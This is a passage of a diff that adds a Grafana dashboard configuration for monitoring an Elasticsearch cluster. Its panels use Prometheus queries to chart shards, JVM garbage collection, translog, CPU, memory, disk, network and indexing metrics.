+ "unit": "none"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 3,
+ "w": 4,
+ "x": 20,
+ "y": 5
+ },
+ "id": 82,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "colorMode": "none",
+ "graphMode": "area",
+ "justifyMode": "auto",
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "textMode": "auto"
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_cluster_health_unassigned_shards{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\"} ",
+ "format": "time_series",
+ "instant": true,
+ "intervalFactor": 2,
+ "legendFormat": "",
+ "refId": "A",
+ "step": 60
+ }
+ ],
+ "title": "Unassigned shards",
+ "type": "stat"
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Shards",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 2
+ },
+ "id": 92,
+ "panels": [
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 0,
+ "y": 9
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 7,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": false,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_jvm_gc_collection_seconds_count{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}} - {{gc}}",
+ "metric": "",
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "GC count",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "short",
+ "label": "GCs",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 12,
+ "y": 9
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 27,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": false,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_jvm_gc_collection_seconds_sum{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}} - {{gc}}",
+ "metric": "",
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "GC time",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "s",
+ "label": "Time",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "JVM Garbage Collection",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 3
+ },
+ "id": 93,
+ "panels": [
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fill": 1,
+ "fillGradient": 0,
+ "gridPos": {
+ "h": 7,
+ "w": 12,
+ "x": 0,
+ "y": 10
+ },
+ "hiddenSeries": false,
+ "id": 77,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": false,
+ "max": true,
+ "min": true,
+ "rightSide": true,
+ "show": true,
+ "total": true,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "null",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_translog_operations{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}",
+ "refId": "A"
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Total translog operations",
+ "tooltip": {
+ "shared": true,
+ "sort": 2,
+ "value_type": "individual"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "fill": 1,
+ "fillGradient": 0,
+ "gridPos": {
+ "h": 7,
+ "w": 12,
+ "x": 12,
+ "y": 10
+ },
+ "hiddenSeries": false,
+ "id": 78,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "max": true,
+ "min": true,
+ "rightSide": true,
+ "show": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "null",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_translog_size_in_bytes{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}",
+ "refId": "A"
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Total translog size in bytes",
+ "tooltip": {
+ "shared": true,
+ "sort": 2,
+ "value_type": "individual"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "bytes",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Translog",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 4
+ },
+ "id": 95,
+ "panels": [
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 0,
+ "y": 11
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 30,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": false,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_os_load1{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}",
+ "format": "time_series",
+ "instant": false,
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "load1: {{name}}",
+ "metric": "",
+ "refId": "A",
+ "step": 20
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_os_load5{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}",
+ "format": "time_series",
+ "instant": false,
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "load5: {{name}}",
+ "metric": "",
+ "refId": "B",
+ "step": 20
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_os_load15{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}",
+ "format": "time_series",
+ "instant": false,
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "load15: {{name}}",
+ "metric": "",
+ "refId": "C",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Load average",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "short",
+ "label": "CPU usage",
+ "logBase": 1,
+ "max": 100,
+ "min": 0,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 12,
+ "y": 11
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 88,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": false,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_process_cpu_percent{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}",
+ "format": "time_series",
+ "instant": false,
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}",
+ "metric": "",
+ "refId": "A",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "CPU usage",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "percent",
+ "label": "CPU usage",
+ "logBase": 1,
+ "max": 100,
+ "min": 0,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 0,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 0,
+ "y": 22
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 31,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": false,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_jvm_memory_used_bytes{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}} used: {{area}}",
+ "metric": "",
+ "refId": "A",
+ "step": 20
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_jvm_memory_max_bytes{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}} max: {{area}}",
+ "refId": "C",
+ "step": 20
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_jvm_memory_pool_peak_used_bytes{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}} peak used pool: {{pool}}",
+ "refId": "D",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "JVM memory usage",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "bytes",
+ "label": "Memory",
+ "logBase": 1,
+ "min": 0,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 0,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 12,
+ "y": 22
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 54,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": false,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_jvm_memory_committed_bytes{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}} committed: {{area}}",
+ "refId": "B",
+ "step": 20
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_jvm_memory_max_bytes{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}} max: {{area}}",
+ "refId": "C",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "JVM memory committed",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "bytes",
+ "label": "Memory",
+ "logBase": 1,
+ "min": 0,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "CPU and Memory",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 5
+ },
+ "id": 96,
+ "panels": [
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 0,
+ "y": 6
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 32,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": false,
+ "show": true,
+ "sort": "current",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "1-(elasticsearch_filesystem_data_available_bytes{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}/elasticsearch_filesystem_data_size_bytes{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"})",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: {{path}}",
+ "metric": "",
+ "refId": "A",
+ "step": 20
+ }
+ ],
+ "thresholds": [
+ {
+ "colorMode": "custom",
+ "fill": true,
+ "fillColor": "rgba(216, 200, 27, 0.27)",
+ "op": "gt",
+ "value": 0.8
+ },
+ {
+ "colorMode": "custom",
+ "fill": true,
+ "fillColor": "rgba(234, 112, 112, 0.22)",
+ "op": "gt",
+ "value": 0.9
+ }
+ ],
+ "timeRegions": [],
+ "title": "Disk usage",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "percentunit",
+ "label": "Disk Usage %",
+ "logBase": 1,
+ "max": 1,
+ "min": 0,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 12,
+ "y": 6
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 47,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": false,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [
+ {
+ "alias": "sent",
+ "transform": "negative-Y"
+ }
+ ],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_transport_tx_size_bytes_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: sent ",
+ "refId": "D",
+ "step": 20
+ },
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "-irate(elasticsearch_transport_rx_size_bytes_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}: received",
+ "refId": "C",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Network usage",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 2,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "Bps",
+ "label": "Bytes/sec",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "pps",
+ "label": "",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ }
+ ],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Disk and Network",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 6
+ },
+ "id": 97,
+ "panels": [
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "decimals": 2,
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 0,
+ "y": 7
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 1,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": false,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": true,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "elasticsearch_indices_docs{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}",
+ "metric": "",
+ "refId": "A",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Documents count on node",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 0,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "decimals": 2,
+ "format": "short",
+ "label": "",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 12,
+ "x": 12,
+ "y": 7
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 24,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": false,
+ "show": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": true,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "expr": "irate(elasticsearch_indices_indexing_index_total{job=\"$job\",instance=~\"$instance\",cluster=\"$cluster\",name=~\"$name\"}[$__rate_interval])",
+ "format": "time_series",
+ "interval": "",
+ "intervalFactor": 2,
+ "legendFormat": "{{name}}",
+ "metric": "",
+ "refId": "A",
+ "step": 20
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Documents indexed rate",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 0,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "short",
+ "label": "index calls/s",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "short",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "uid": "$datasource"
+ },
+ "description": "Count of deleted documents on this node",
+ "editable": true,
+ "error": false,
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 11,
+ "w": 8,
+ "x": 0,
+ "y": 18
+ },
+ "height": "400",
+ "hiddenSeries": false,
+ "id": 25,
+ "legend": {
+ "alignAsTable": true,
+ "avg": true,
+ "current": true,
+ "hideEmpty": false,
+ "hideZero": false,
+ "max": true,
+ "min": true,
+ "rightSide": false,
+ "show": true,
+ "sort": "avg",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 1,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
